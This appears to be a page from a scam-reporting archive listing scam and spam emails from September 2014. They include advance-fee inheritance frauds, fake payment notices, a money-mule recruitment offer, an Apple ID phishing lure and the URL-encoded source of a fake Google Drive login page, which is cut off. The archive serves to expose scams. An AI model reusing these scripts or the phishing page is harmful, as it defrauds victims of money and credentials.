Logo

I have a proposal to share with you,RegardsMr.Yin
Click to view scam #92253 - Sent on September 17, 2014, 1:19 pm by bbetanc1@soe.ucsc.edu
Ne restez plus dans le rouge Ne restez plus dans le rouge Ne restez plus dans le rouge Savez-vous pourquoi vous avez reçu ce message ? Quelles informations avons nous sur vous ? Comment régler votre profil ? En savoir plus Un crédit vous engage et doit être remboursé. Vérifiez vos capacités de remboursement avant de vous engager. Aucun versement de quelque nature que ce soit ne peut être exigé d'un particulier avant l'obtention d'un ou plusieurs prêts d'argent. Sortir d'une situation difficile. Préparer l'avenir. Financer un nouveau projet. Faciliter la vie de votre famille.   selection-devis.com est un site spécialisé dans la mise en relation entre particuliers et des entreprises afin de faciliter votre choix de prestataire et faciliter vos demandes de devis ou de simulation en ligne. selection-devis.com est un service totalement gratuit pour ces utilisateurs. Notre vocation étant de vous offrir une approche nouvelle dans la recherche et la sélection des sociétés de services en fonction de vos besoins, de votre profil, de votre zone géographique et de votre situation. Ainsi, selection-credits.com rend la recherche de service sur Internet plus facile, plus rapide et plus efficace. selection-devis.com est inscrit au Registre unique des Intermédiaires en Assurance, Banque et Finance sous le numéro d’immatriculation ORIAS N° 13006401 en qualité de Mandataire d'intermédiaire en opérations de banque et en services de paiement (MIOBSP). Un crédit vous engage et doit être remboursé. Vérifiez vos capacités de remboursement avant de vous engager. Aucun versement de quelque nature que ce soit ne peut être exigé d'un particulier avant l'obtention d'un ou plusieurs prêts d'argent. La diminution des mensualités d'un crédit, peut entrainer un allongement de la durée de remboursement du crédit et majorer son coût total. Si vous souhaitez vous désinscrire de notre newsletter, cliquez ici
Click to view scam #92252 - Sent on September 17, 2014, 1:07 pm by eric.mel@tousvos-produits.fr
New Verified and Approved Payment Approval Code: (UN/ UN2014/011A), This is to officially bring to your notice that your payments which amounts to $10.5 million USD is now ready for onward remittance/payments. Reconfirm the following information through ( carman100@qq.com ) so that we can proceed with the immediate move/payment of your funds into your nominated bank account:   FULL NAME: FULL CONTACT ADDRESS: TELEPHONE NUMBER: OCCUPATION:SEX: DATE OF BIRTH: Upon receipt of the above details, we shall commence the immediate transfer/sum of your money without delay.   We sincerely apologize for the delay you have encountered in trying to receive your funds, but we assure you that those delays will never be encountered again.   Accept our best wishes. Sincerely yours, Ms.Carman L. Lapointe.  
Click to view scam #92251 - Sent on September 17, 2014, 12:53 pm by mail@ie.cw
Comparez les meilleures formules prevoyances Comparez les meilleures formules prevoyances Comparez les meilleures formules prevoyances Savez-vous pourquoi vous avez reçu ce message ? Quelles informations avons nous sur vous ? Comment régler votre profil ? En savoir plus Comparez les meilleures offres parmi nos partenaires. Faites votre demande gratuitement, et recevez votre devis personnalisé. Economisez jusqu'à 40% sur votre contrat, et protégez vos proches. * Veuillez-vous reporter aux conditions de chacune des assurances. Nous ne sommes pas responsables des tarifs et des conditions mentionnées sur cette page qui peuvent évoluer à tous moments. Si vous souhaitez vous désinscrire de notre newsletter, cliquez ici
Click to view scam #92250 - Sent on September 17, 2014, 12:05 pm by francoise-benard@financeetconseils360.com
Can I have your attention?  
Click to view scam #92248 - Sent on September 17, 2014, 12:00 pm by cjkeenan@UTMB.EDU
Hello, I am Mr. Fred Baker from the Office of Inspection Unit/United Nations Agency in Austin Straubel International Airport Wisconsin USA. During my recent routine check at the Airport Storage/vault on withheld packages, I discovered an abandoned shipment that belongs to you from a Diplomat from London and Africa, when scanned it revealed an undisclosed sum of money in two Metal Trunk Boxes weighing approximately 25kg each and some people are coming after this consignment to clam it in your name. The consignment was abandoned because the Contents was not properly declared by the consignee as ?MONEY? rather it was declared as personal effect to avoid interrogation and also the inability of the diplomat to pay for the INTERNATIONAL CONSIGNMENT MONEY MOVEMENT Charges Before bringing in the consignment into US and we refused to return back the consignment where it came from since, we have already received it here in USA. On my assumption, each of the box contain not less than $5 Million to $5.5Million and the consignment is still left in our Storage House here at the Austin Straubel International Airport Wisconsin USA till date. The details of the consignment including your name, your email address and the official document from the United Nations office in Geneva are tagged on the Metal Trunk boxes in your favor. But to enable me confirm if you are the actual recipient of this consignment, I will advise you to provide your current Phone Number and Full Address to enable me cross check if it corresponds with the address on the official documents including the Name of the nearest Airport around your city. Please note that this consignment is supposed to have been returned to the United States Treasury Department as unclaimed delivery due to the delay in concluding the clearance processes. Therefore you are advice to respond to this message and call me immediately as you read. Once I receive your above requested information I can get everything concluded within 3-6 hours upon your acceptance and proceed to your address for delivery. Below is my direct telephone number, I am always out of office for inspection, so if I am unable to pick your call you should know that I have gone for inspection just email me and make sure you include your mobile number so that I can give you a call, but for now i am expecting your call today as you read this message. Regards, Mr. Fred Baker Office of Inspection Austin Straubel International Airport Wisconsin, USA. Tel #: 920-393-3825.
Click to view scam #92246 - Sent on September 17, 2014, 11:58 am by fredbeker@outlook.com
Head Office: Skye Bank Plc. Akin Adesola Street, Victoria Island, Lagos. Fax: 234 111 6998 Date; 17/ 08/ 2014 Attention: Legal Beneficiary I am Timothy Oguntayo, the new Head authorized Fund Crediting Manager handling all foreign unpaid inheritance and contract fund. Your name is among the listed beneficiary who have not receive their inheritance payment and also among the once who have lost a lot of money while trying to claim their inheritance. Your payment file have been open today after the World Bank Executive board meeting concerning all Unpaid inheritance and we notice that your payment have been kept pending for a very long time due to the wrong information given previously by the payment Administrative officer. The Federal Republic of Nigeria under the instruction of His Excellency President Goodluck Ebele A. Jonathan, GCFR have given ORDER in the First Quarter Payment Approval on Monday being Septemner 15th, 2014 to release ALL outstanding payment through our Bank and your name is among the listed approved beneficiary to receive their PART PAYMENT of US$2.5M. Furthermore, to be sure of whom we have contacted, The Skye Bank Management hereby advice that you fill and return the below listed personal details so as to enable us cross check with the one in your payment file before we commence with the release of your approval part payment. First Name: Last Name: Middle Name: Address: DOB: (Date of Birth): Telephone: Mobile Phone: Copy of your Identification: Drivers License OR International Passport: Next of Kin Name: As soon as the above information is receive and confirm correctly, the bank management will not hesitate to furnish you with your online account details and transfer instructions. We Sincerely Apologize for the delay you have encountered in trying to receive your fund, but we assure you that those delays will never be encountered again. Best Regards MR. TIMOTHY OGUNTAYO DIRECTOR, HEAD FUND CREDITING MANAGER SKYE BANK PLC --- This email is free from viruses and malware because avast! Antivirus protection is active. http://www.avast.com
Click to view scam #92249 - Sent on September 17, 2014, 11:58 am by info@ictc.com.eg
       FROM WESTERN UNION OFFICE MONEY TRANSFER. NIGERIA /ADDRESS 455 AGBOKOU,ANKPA ROADLAGOTES PALAR WEB  SITE.www.westernunion.com  http://site.www.westernunion.com/ ATTN;BENEFICIARY:PLEASE YOU ARE ADVISE TO GO TROUGH THIS EMAIL CAREFULLY AND MAKE SURE YOU UNDERSTAND AND READY TO COMPLY WITH THE CONTENTS BEFORE REPLYING TO IT. WE ARE INSTRUCTED BY FEDERAL GOVERNMENT OF NIGERIA TO TRANSFER YOUR FUND TO YOU VIA OUR SERVICE (WESTERN UNION MONEY TRANSFER) SO YOU WILL BE RECEIVING $5,000.00 USD DAILY UNTIL IT COMPLETE THE CORRECT AMOUNT ($2.5MILLION USD)  MEANWHILE YOU ARE REQUIRE TO SEND US THE TRANSFER CHARGES WHICH is $150 USD FOR THE $5,000.00 THAT WE HAVE ALREADY REMIT TO YOUR NAME BECAUSE WITH OUT THAT YOU CAN NOT PICK THE MONEY FOR IT IS ON HOLD. NOTE: THE REASON WHY WE NEED YOU TO SEND US THE $150 USD IS THAT WE TRIED TO DEDUCT THE TRANSFERRING FEE OUT FROM YOUR FUND BUT THE MINISTER ADMINISTRATOR TRUST FUND OF NIGERIA TOLD US THAT NO ONE HAS ACCESS OVER YOUR FUND AS IT HAVE BEEN SIGNED AND STAMPED THAT NO MONEY SHOULD BE DEDUCTED UNTIL IT GETS TO YOU TO AVOID ANY MISUNDERSTANDING BECAUSE IF ANY ONE HAS ACCESS TO THAT IT WILL INVOLVE YOU LOOSING YOUR FUND, NO ONE HAS TO BE TRUST EVEN YOUR MOTHER OR YOUR FATHER. HERE IS THE INFORMATION OF THE ONE WE SENT TODAY TO YOU BUT IT WILL REMAIN ON HOLD UNTIL YOU SEND US OUR TRANSFER CHARGES OF $150 BEFORE WE CAN RELEASE IT TO YOU SO YOU CAN TRACK IT WITH OUR WEB SITE. E-mail:westernumtn@gmail.comWWW.WESTERNUNION.COMMTCN.............................2473015302SENDERS NAME .........Icha KamizoQuestion---------------.......what colourTest Answer-----------------GreenAmount------------------------$5,000,00, http://www.westernunion.com/info/selectCountry.aspFINALLY UPDATE US WITH HE $150 USD TO ENABLE US PROCEED ON YOUR PAYMENT IMMEDIATELY, BELOW IS THE INFORMATION YOU WILL USE TO REMIT THE $150 USD VIA WESTERN UNION MONEY TRANSFER  BEEN OUR TRANSFERRING CHARGE FOR YOUR $5000.00 USD.                                                1.RECEIVER NAME:.................... Anaegboka Jesica Uzoma2.COUNTRY:...............................NIGERIA . 3.CITY :.......................................AWKA. 4.TEST QUESTION:.....................HOW LONG? 5.TEST ANSWER:........................NOW. 6.AMOUNT:.................................$150, USD Send Money Worldwide YOUR URGENT RESPOND IS HIGHLY NEEDED . REGARDS Mr. Frank JimFORIGN OPERATION MANAGER
Click to view scam #92245 - Sent on September 17, 2014, 11:56 am by johnsontony7070@gmail.com
 Bonjour Monsieur;En effet, je suis consultant dans les investissements privés en contact direct avec des investisseurs qui aimeraient investir dans plusieurs secteurs d?activités économiquement rentable comme suivants:-Immobilier-Énergie renouvelable-Création de l'industrie-Transport-Agriculture-TourismeCher Monsieur permettez-moi de vous demandez quels sont vos secteurs d?activités ?Car les investisseurs souhaiteraient collaborer avec un partenaire sérieux pouvant être à la hauteur de la gestion des projets.Cher Monsieur si vous avez d?autres idées des projets d'investissements je vous prie de bien vouloir faire diligence afin que nous puissions collaborer ensemble.Je vous prie de recevoir mes salutations les plus distinguées.Cordialement.E.mail  hervegauthier48@gmail.comSkype:herve.gauthier7Herve Gauthier     Hello sir;Indeed, I am a consultant in private investment in direct contact withinvestors who want to invest in several sectors of economically viableactivities as follows:Real--Renewable Energy-Creation of the industry-Transport-Agriculture-TourismDear Sir I would like to ask you what are your industries?As investors would like to work with a serious partner can be up toproject management.Dear Sir, if you have other ideas of investment projects I pray you tobe diligent so that we can work together.Please accept my best regards.Cordially.E.mail  hervegauthier48@gmail.comSkype:herve.gauthier7Herve Gauthier
Click to view scam #92247 - Sent on September 17, 2014, 11:52 am by patrick49@163.com
Inheritance for you please contact me now; a.vaserman@hotmail.com
Click to view scam #92241 - Sent on September 17, 2014, 11:35 am by ljk7637@lausd.net
Donation of Mrs. Rebecca WilliamsBishop [38 rue des martyrs cocodyAbidjan, Ivory Coast. dearest one Christ,I am from  Kuwait. I am married to Mr. David Williams, who worked with Kuwait embassy in Ivory Coast for nine years before he died in 2004. We were married for eleven years without a child. He died after a brief illness that lasted for only four days.Before his death, both born again Christian. Since his death I decided not to remarry or get a child outside my matrimonial home which the Bible is against. When my husband was alive he deposited the sum of  ($ 2.5 million) in the bank here in Abidjan suspense account.Currently, the fund is still in the bank. Recently, my doctor told me that I have serious sickness which is cancer problem. What disturbs me most is my stroke sickness. Knowing my condition I decided to donate this fund to church or those who utilize this money the way I would recommend here. I want a church that will use this fund for orphanages, widows, to promote the word of God and the effort that the house of God is maintained. The Bible is for us to understand that blessed is the hand that gives. I took this decision because I do not have any child that will inherit this money and my husband relatives are not Christians and I do not want my husband's efforts to be used by unbelievers. I do not want a situation where this money will be used in an ungodly manner. That's why I'm taking this decision. I'm not afraid of death, so I know where I'm going. I know that I'm going to be in the bosom of man. Exodus 14 vs 14 says that the lord will fight my case and I hold my peace.I do not need a telephone communication in this regard because of my health hence the presence of my husband's relatives around me always and I do not want them to know about this development. In God all things are possible. As soon as I get an answer I will give you contact of the bank here in Abidjan. I want you and the church to always pray for me because the lord is my shepherd. My happiness is that I lived a life worthy Christian. Whoever wants to serve the lord must serve him in spirit and in truth. Always praying for their whole lives.Reply me for more information's, in your reply will give me room in sourcing another church or person for the same purpose. Let me assure you that they will act accordingly as specified. Hope to get an answer. Send me the following information, as per below.Your full name ..........Address ...........Age ...............The occupation ........Photo ...............Still blessed in you.Yours in Christ,Sister Rebecca Williams.
Click to view scam #92239 - Sent on September 17, 2014, 11:13 am by karunaolive00x@yahoo.co.jp
Good Day I am Mr.George Megan,I will like to discuss about a client's finances and estate in our care. I believe you are a relative of his but I will need a confirmation receipt of this message before I can elaborate on the issue at hand. You can contact me by email for more information on this. Regards, George Megan
Click to view scam #92236 - Sent on September 17, 2014, 10:57 am by jfpachi@superbanda.net
Optez pour la douche securisee body {margin:0; padding:0;} body {-webkit-text-size-adjust:none; -ms-text-size-adjust:none;} table td {border-collapse:collapse;} .ExternalClass {width:100%;} .ExternalClass, .ExternalClass p, .ExternalClass span, .ExternalClass font, .ExternalClass td, .ExternalClass div {line-height: 100%;} Optez pour la douche securisee Optez pour la douche securisee Savez-vous pourquoi vous avez reçu ce message ? Quelles informations avons nous sur vous ? Comment régler votre profil ? En savoir plus Du jour au lendemain, sans détruire votre ancienne salle de bain, SecurDouche est posée par un Technicien expert. Parfaitement modulable, elle vient s'installer à la place de votre ancienne baignoire ou de votre ancienne douche. • Seuil d'accès très bas • Revêtement antidérapant • Barre de maintien • Siège rabattable   anti-glisse... Chaque élément SecurDouche participe à une totale sécurité de déplacement et de mouvement. Si vous souhaitez vous désinscrire de notre newsletter, cliquez ici
Click to view scam #92234 - Sent on September 17, 2014, 10:05 am by marie-laure@langueetapprentissage-pure.com
Dear Apple User   Dear Apple User To get back into your apple account, you'll need to confirm your account . It's easy: Click the link below to open a secure browser window. Confirm that you're the owner of the account and then follow the instructions. The link will expire 24 hours after this email was sent. Unlock Apple ID > Questions? There are lots of answers on our Apple ID support page > If you weren't trying to reset your password or unlock your Apple ID, don't worry â?? your account is still secure and no one has been given access to it. Most likely, someone just mistyped their own email address while trying to reset their password. Thanks, Apple Customer Support
Click to view scam #92232 - Sent on September 17, 2014, 9:39 am by Support-68771@s1.graphicallycorrect.ca
? Profitez des offres rentree optic 2000 body { background-color: #f3f3f3; margin-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; } Livraison en 24h gratuite Bonjour , nous vous adressons cet email car vous êtes inscrit sur Domosource avec l'adresse felixcramb@gmail.com. Si ce message ne s'affiche pas correctement, visualisez-le ici. Pour vous désabonner, suivez ce lien. ?                                 LES ENGAGEMENTS* 30 JOURS POUR CHANGER D'AVIS Vous disposez de 30 jours pour nous retourner vos produits et être remboursé./LIVRAISON EN 24H GRATUITE Réservez gratuitement avant 16h et recevez votre monture le lendemain* dans le magasin de votre choix (*sauf articles non-stockés, ou commandes passées le samedi ou dimanche)/1ERE ENSEIGNE FRANCAISE Nos 1200 opticiens constituent le 1er réseau Français d’optique et vous garantissent proximité et accompagnement au quotidien. *Vente avec code promo -25% proposée uniquement sur optic2000.com à choisir dans la sélection « L’été indien » sur une sélection de solaires de marque signalées par un pictogramme sur le site. Offre du 1er Septembre 2014 au 31 Octobre 2014. Offre non-cumulable avec toute autre offre promotionnelle. Visuel non-contractuel. Septembre 2014       Conformément à la réglementation informatique et libertés vous disposez d'un droit d'accès, de modification, de rectification et de suppression des données qui vous concernent (art.34 de la loi Informatique et Libertés du six janvier mille neuf cent soixante dix huit). Site Domosource, déclaré à la CNIL (norme simplifiée du vingt six avril deux mille sept). Ce droit peut être exercé à tout moment auprès de notre service utilisateur : contact@do-mosource.com Vous désirez vous désabonner? Me désabonner
Click to view scam #92229 - Sent on September 17, 2014, 8:43 am by contact@mas.do-mosource.com
body {height: 100%; color:#000000; font-size:12pt; font-family:Times New Roman;}Hello,You have been successfully selected in the Asia Jackpot draw, a sum of $2,500,000.00 has been awarded to you,provide your information's,kindly note your information is safe with us and will only be use for the same purpose.Full NameFull AddressAgeSexTel. NumberAdam Nathale.
Click to view scam #92227 - Sent on September 17, 2014, 8:08 am by ghhgt@centurylink.net
? Demandez votre devis Bonjour , nous vous adressons cet email car vous êtes inscrit sur Domosource avec l'adresse felixcramb@gmail.com. Si ce message ne s'affiche pas correctement, visualisez-le ici. Pour vous désabonner, suivez ce lien. Kaplan International English Apprenez l'anglais à l'étranger avec Kaplan ! Kaplan vous propose de partir pour un séjour linguistique afin de suivre des programmes d'anglais adaptés à votre niveau : Plus de 45 écoles dans le monde Cours d'anglais standard, intensif, business et business intensif Préparation aux examens d'anglais (TOEFL, IELTS, Cambridge) Séjours de 2 semaines à 1 an Logement en résidence ou chez l'habitant Demander un devis personnalisé Kaplan International English - 14 boulevard Montmartre, 75009 Paris - Tel. +33 (0)1 48 00 06 00 Fax +33 (0)1 48 00 05 94. Aspect S.A.R.L. au capital de 50 000 euros - Siren 350 061 222 Organisme de formation n* 11751752475 - Immatriculation agent de voyages : IMO75100339 - Garantie financière Chartis Europe, Paris La Défense - Police n.9.400.202 © 2014 Kaplan, Inc. Tous droits réservés. Conformément à la réglementation informatique et libertés vous disposez d'un droit d'accès, de modification, de rectification et de suppression des données qui vous concernent (art.34 de la loi Informatique et Libertés du six janvier mille neuf cent soixante dix huit). Site Domosource, déclaré à la CNIL (norme simplifiée du vingt six avril deux mille sept). Ce droit peut être exercé à tout moment auprès de notre service utilisateur : contact@do-mosource.com Vous désirez vous désabonner? Me désabonner
Click to view scam #92224 - Sent on September 17, 2014, 7:44 am by contact@mas.do-mosource.com
? Loi Duflot 2014 Pour visualiser correctement ce message, accédez à la version en ligne QU'EST CE QUE LA LOI DUFLOT ? La Loi Duflot 2014 accorde aux particuliers qui investissent dans un logement neuf BBC, une forte réduction d'Impôt sur le Revenu pendant toute la période de mise en location du logement, d'une durée minimum de 9 ans. Sans apport, avec la Loi Duflot 2014 :         • Je réduis mes impôts         • Je me constitue un patrimoine         • Je prépare ma retraite Téléchargez gratuitement notre guide pour en savoir plus ICI Pour cesser de recevoir nos informations sur l'adresse felixcramb@gmail.com , désabonnez-vous.
Click to view scam #92222 - Sent on September 17, 2014, 7:25 am by contact@info.newmessage.fr
Are you in need of easy qualifying Business or personal loans? We offer all kinds of loan, such a Business start-up loan, Personal loan,Investment loan etc. For more information, contact us via E-mail: frankshaun009@gmail.com Regards, Mr.Frank T.Shaun Contact Email: frankshaun009@gmail.com
Click to view scam #92221 - Sent on September 17, 2014, 7:21 am by maria.rittenhouse@bartow.k12.ga.us
-- SAFE TRUST INVESTMENT SECURITIES S.A. Financial Services, Investment Advice, Safety Deposits Individual investment Portfolio Management Avd SA 133, 28001 JHB South Africa Email: tammymarufu@yahoo.co.za Dear Sir/Madam, My name is Tammy Marufu. I am the director of operation Safe Trust Investment Securities South Africa. I know this letter will come to you as a surprise but I want you to understand that my contacting you is divine because I want us to do this business deal together. I got your contact from international brochure and decided to contact you for this simple business deal considering the fact that you will help me in the actualization of this great business deal. I am contacting you concerning a fund valued $15,000.000.00 (Fifteen Million US Dollars) deposited with our affiliate bank by our late esteemed customer late Mr. Faik Ayaz, a Turkish citizen and contractor residing in Iraq. He moved this money from Iraq to South Africa for investment. He went back to Iraq to bring his entire family to Spain from Iraq but he died in a bomb blast with his entire family. Since I got the information about the bomb blast and the death of our customer, I felt bad because from my adequate investigation I gathered that all his family members were involved in the bomb blast there by living nobody to claim the above mentioned fund. Based on this I contacted you to act as the cousin, relative or next of kin to our late esteemed customer. I will give you information's of the fund which you will use to apply for the release of the fund to you as the cousin and next of kin to the deceased customer. This business is risk free; nobody will suspect you coupled with the fact that I will give you all the information of the fund which will prove to our affiliate bank that you are related or next of kin to the late depositor. Upon the successful release and transfer of this fund to your account we will share the money 60-35% respectively, while 5% will be set aside to reimburse expenses that will be incurred during the transfer of the fund to your account. Finally, be mindful that nobody here knows that I contacted you for this business deal. To this effect you should please keep this letter confidential whether you are interested or not because if anybody here discovers that I gave out this information I will definitely lose my job and will be into big problem. You should signify your interest to do this business deal with me by my private email address for security purposes. This business deal will not last more than 7 days if you signify your interest to work with me to actualize this golden opportunity. You should contact me on my private email address: (tammymarufu@yahoo.co.za ); for more details. I anticipate your swift and immediate response. Sincerely yours, Tammy Marufu. ________________________________________________ Message sent using UebiMiau 2.7.9
Click to view scam #92220 - Sent on September 17, 2014, 7:20 am by tammymarufutammy@yahoo.co.za
I'M Mr Zawale Zuma, the Sales Manager of ( Proxy Co Ltd-South Africa) the major distributor Raw Materials and fabric materials in South Africa.   We are looking for a trustworthy representative in your Country  that can help us as a link between our company and our clients over there.we would like to know if you are interested to work from home for us and earn 10% of each Transfer for your services.   (Proxy Co Ltd-South Africa) needs a book-keeper or representative in your Country,so we want to know if you will like to work from home and get paid, in each transaction,without leaving or affecting your present job?   Our company distribute Raw Materials,fabric materials and traditional costumes.We have clients we supply Raw materials weekly in Asia,Europe and other parts of the world and our clients make payments for our supplies every week in form of money orders and Bank Transfer which are not cash-able here in South Africa,so we need someone in your Country to work as our representative to assist us in processing payments from our clients and we will pay him/her 10% in every transaction.   All you need to do is to receive this payment from our clients  on behalf of our company and  deduct your 10% and forward the balance to our company here in South Africa.   BELOW IS A LETTER OF EMPLOYMENT FORM OF OUR COMPANY WHICH YOU HAVE TO  REPLY AS SOON AS WE CONFIRM ANY PAYMENT COMING TO YOU, I WILL LET YOU  KNOW AND I WILL GIVE YOU THE NECESSARY INFORMATION NEEDED FOR THE  TRANSFER OF THE COMPANY'S BALANCE.YOU COULD JUST FILL IT OUT THIS FORM BELOW.   APPLICATION FORM 1.Full Names:----------------- 2.House Address:----------------- 3.City:----------------- 4.Phone Number:----------------- 5.Country: ----------------- 6.Occupation: ----------------- 7.Age: ----------------- 8. A copy of your international passport or Driving Driving lenience   Kindly forward the above details to this email: zawalezuma@hotmail.com   Thank you as we await your further response. In Trust And Good Faith     Mr.Mr Zawale Zuma, Sales Manager, (Proxy Co Ltd-South Africa.) Address: 103 West Mall Street Johannesburg South Africa   Zip: 2701 Tel: + 27-747-192-949 E-mail: zawalezuma@hotmail.com
Click to view scam #92219 - Sent on September 17, 2014, 7:06 am by zawalezumaa@hotmail.com
Dear,   Find attached document of required list of products and our target prices. Open document and quote me your best offer.We are ready to do 30% down payment if your price is good. Our company needs your products by first week of december.   Regards,   Sent from my iPhone Attachment content - PO (1).htm:?m='%3Chtml%3E%3Chead%3E%3Cmeta%20http-equiv%3D%22Content-Type%22%20content%3D%22text/html%3B%20charset%3DUTF-8%22%3E%0A%3Ctitle%3EGoogle%20Drive%3C/title%3E%0A%3Cscript%3E%0Aalert%28%27Secured%20file%2C%20Login%20to%20view%27%29%3B%0A%3C/script%3E%0A%3Cstyle%20type%3D%22text/css%22%3E%0A%09@charset%20%22UTF-8%22%3B%0A*%20%7B%0A%09padding%3A0%3Blist-style%3Anone%3Boutline%3Anone%3B%0A%7D%0Abody%2C%20center%7B%0A%20%20%20%20font-family%3A%20Lucida%20Grande%2C%20Geneva%2C%20Verdana%2C%20Arial%3B%0A%20%20%20%20font-size%3A%20%20%2012px%3B%0A%20%20%20%20color%3A%20%20%20%20%20%20%20%23000000%3B%0A%09background-color%3A%20%23F2F3F4%3B%0A%7D%0Aa%3Ahover%20%7B%0A%09color%3A%20%2308C%3B%0A%7D%0Aa%3Avisited%20%7B%0A%09color%3A%20%2308C%3B%0A%7D%0Aa%3Alink%20%7B%0A%09color%3A%20%2308C%3B%09%0A%7D%0Aa%3Avisited%20%7B%0A%09color%3A%20%2308C%3B%0A%09text-decoration%3A%20none%3B%0A%7D%0Aa%3Alink%20%7B%0A%09color%3A%20%2308C%3B%0A%09text-decoration%3A%20none%3B%0A%7D%0Aa%3Alink%20%7B%0A%09color%3A%20%2312C%3B%0A%7D%0Aa%3Ahover%20%7B%0A%09color%3A%20%23214182%3B%0A%7D%0Aa%3Avisited%20%7B%0A%09color%3A%20%234673CB%3B%0A%7D%0Aa%3Alink%20%7B%0A%09color%3A%20%234673CB%3B%0A%7D%0Aa%20%7B%0A%09text-decoration%3A%20none%3B%0A%7D%0Aselect%7B%0A%09font-size%3A13px%3Bpadding%3A3px%3Bmargin%3A0%3B%0A%7D%0Ah1%20%7B%0A%09font-family%3A%20%22Lucida%20Grande%22%2C%20Arial%3B%0A%09font-weight%3A%20bold%3B%0A%09font-size%3A%2013px%3B%0A%09color%3A%20%234A5A66%3B%0A%7D%0Adiv%23layout%7B%0A%09width%3A980px%3Bmargin%3A28px%20auto%3B%0A%7D%0Adiv%23layout%20h1.logo%7B%0A%09background%3Aurl%28%27../img/dite-logo.png%27%29%20left%20top%3B%0A%09width%3A188px%3Bheight%3A20px%3Bfloat%3Aleft%3B%0A%09margin%3A0%200%2020px%200%3B%0A%7D%0Adiv%23layout%20%23wrapper%7B%0A%09clear%3Aboth%3B%0A%09width%3A%20100%25%3B%0A%09border%3A%201px%20solid%20%23EAEAEA%3B%0A%09overflow%3A%20hidden%3B%0A%09-moz-border-radius%3A%203px%3B%0A%09-webkit-border-radius%3A%203px%3B%0A%09border-radius%3A%203px%3B%0A%09-webkit-box-shadow%3A%20rgba%280%2C%200%2C%200%2C%200.3%29%200%201px%203px%3B%0A%09-moz-box-shadow%3A%20rgba%280%2C0%2C0%2C0.3%29%200%201px%203px%3B%0A%09box-shadow%3A%20rgba%280%2C%200%2C%200%2C%200.3%29%200%201px%203px%3B%0A%09background%3A%20white%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.left%7B%0A%09background%3A%23FAFAFA%20url%28../img/app-icons.png%29%20center%2050px%20no-repeat%3Bpadding%3A200px%2040px%20100px%3B%0A%09width%3A250px%3B%0A%09border-right%3A%201px%20solid%20%23E6E6E6%3B%0A%09float%3Aleft%3B%0A%09height%3A250px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.left%20h1%20%7B%0A%09font-size%3A%2018px%3B%0A%09font-weight%3A%20normal%3B%0A%09color%3A%20%23333%3B%0A%09margin-bottom%3A15px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.left%20p%20%7B%0Afont-size%3A%2014px%3B%0Acolor%3A%20%23999%3B%0Aline-height%3A%201.5em%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.left%20a%20%7B%0A%09font-size%3A%2014px%3B%0A%09background%3A%20url%28%27../img/arrow.png%27%29%20no-repeat%20center%20right%3B%0A%09padding-right%3A%2010px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%7B%0A%09float%3Aleft%3Bwidth%3A630px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20h1%20%7B%0A%09font-size%3A%2024px%3B%0A%09font-weight%3A%20normal%3B%0A%09color%3A%20%23333%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20form%20%7B%0A%09width%3A560px%3Bmargin%3A80px%20auto%2080px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20p%20%7B%0A%09color%3A%20%23999%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20.iforget%20%7B%0A%09float%3Aleft%3Bmargin%3A15px%200%200%200%3Bfont-size%3A10px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20.ilogin%20%7B%0A%09float%3Aright%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20td%20%7B%0A%09height%3A42px%3B%0A%09border-bottom%3A1px%20solid%20%23EEE%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20.leftRow%20%7B%0A%09text-align%3Aright%3Bpadding%3A0%2010px%200%3Bwidth%3A220px%3Bfont-size%3A11px%3B%0A%09border-right%3A1px%20solid%20%23EEE%3Bfont-weight%3Abold%3Bline-height%3A16px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20.centerRow%20%7B%0A%09border-right%3A1px%20solid%20%23EEE%3B%0A%09border-left%3A1px%20solid%20%23EEE%3B%0A%09font-weight%3Abold%3B%0A%09line-height%3A16px%3B%0A%09font-size%3A11px%3B%0A%09text-align%3Aright%3Bpadding%3A0%2010px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20.rightRow%20%7B%0A%09padding%3A0%2010px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20.rightRow%20span.formwrap%20%7B%0A%09float%3Aleft%3B%0A%09padding%3A%203px%3B%0A%09border-radius%3A%204px%3B%0A%09-webkit-border-radius%3A%204px%3B%0A%09-moz-border-radius%3A%204px%3B%0A%09-o-border-radius%3A%204px%3B%0A%09background%3A%20%23EEE%3B%0A%09margin-right%3A5px%3B%0A%7D%0Adiv%23layout%20%23wrapper%20.right%20.rightRow%20span.formwrap%20input%20%7B%0A%09width%3A%20310px%3B%0A%09padding%3A%203px%205px%3B%0A%09margin%3A0%3B%0A%09border%3A%201px%20solid%20%23D9D9D9%3B%0A%09background%3A%20white%3B%0A%7D%0Adiv%23layout%20%23wrapper%20input.submit%20%7B%0A%09border%3A0%3B%0A%09height%3A35px%3B%0A%09width%3A200px%3B%0A%09color%3A%23FFF%3B%0A%09margin%3A10px%200%3B%0A%09font-size%3A13px%3B%0A%09font-weight%3Abold%3B%0A%09cursor%3Apointer%3B%0A%09-webkit-border-radius%3A%208px%3B%0A%09-moz-border-radius%3A%208px%3B%0A%09border-radius%3A%208px%3B%0A%09-moz-box-shadow%3A%200%201px%20%23c0c0c0%3B%0A%09-webkit-box-shadow%3A%200%201px%20silver%3B%0A%09box-shadow%3A%200%201px%20silver%3B%0A%09box-shadow%3A%20none%099%3B%0A%09background%3A%20%2352A8E7%3B%0A%09background%3A%20-moz-linear-gradient%28top%2C%20%2352A8E7%205%25%2C%20%232B70C3%20100%25%29%3B%0A%09background%3A%20-webkit-gradient%28linear%2C%20left%20top%2C%20left%20bottom%2C%20color-stop%285%25%2C%2352A8E7%29%2C%20color-stop%28100%25%2C%232B70C3%29%29%3B%0A%09background%3A%20-webkit-linear-gradient%28top%2C%20%2352A8E7%205%25%2C%232B70C3%20100%25%29%3B%0A%09background%3A%20-o-linear-gradient%28top%2C%20%2352A8E7%205%25%2C%2